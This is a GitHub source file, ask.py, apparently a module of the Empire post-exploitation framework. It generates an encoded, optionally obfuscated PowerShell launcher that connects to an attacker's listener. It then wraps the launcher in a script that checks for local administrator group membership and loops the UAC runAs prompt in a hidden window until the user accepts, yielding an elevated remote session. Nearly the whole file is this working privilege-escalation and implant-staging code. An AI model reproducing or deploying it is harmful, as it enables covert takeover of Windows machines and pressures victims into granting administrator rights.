forked from EmpireProject/Empire
-
-
Notifications
You must be signed in to change notification settings - Fork 569
/
ask.py
72 lines (66 loc) · 2.34 KB
/
ask.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
class Module:
@staticmethod
def generate(
main_menu: MainMenu,
module: EmpireModule,
params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
# staging options
listener_name = params["Listener"]
user_agent = params["UserAgent"]
proxy = params["Proxy"]
proxy_creds = params["ProxyCreds"]
if (params["Obfuscate"]).lower() == "true":
launcher_obfuscate = True
else:
launcher_obfuscate = False
launcher_obfuscate_command = params["ObfuscateCommand"]
if not main_menu.listenersv2.get_active_listener_by_name(listener_name):
# not a valid listener, return nothing for the script
return handle_error_message("[!] Invalid listener: " + listener_name)
else:
# generate the PowerShell one-liner with all of the proper options set
launcher = main_menu.stagers.generate_launcher(
listenerName=listener_name,
language="powershell",
encode=True,
obfuscate=launcher_obfuscate,
obfuscation_command=launcher_obfuscate_command,
userAgent=user_agent,
proxy=proxy,
proxyCreds=proxy_creds,
bypasses=params["Bypasses"],
)
if launcher == "":
return handle_error_message("[!] Error in launcher generation.")
else:
enc_launcher = " ".join(launcher.split(" ")[1:])
script = """
if( ($(whoami /groups) -like "*S-1-5-32-544*").length -eq 1) {
while($True) {
try {
Start-Process "powershell" -ArgumentList "%s" -Verb runAs -WindowStyle hidden
"[*] Successfully elevated!"
break
}
catch {}
}
}
else {
"[!] User is not a local administrator!"
}
""" % (
enc_launcher
)
script = main_menu.modulesv2.finalize_module(
script=script,
script_end="",
obfuscate=obfuscate,
obfuscation_command=obfuscation_command,
)
return script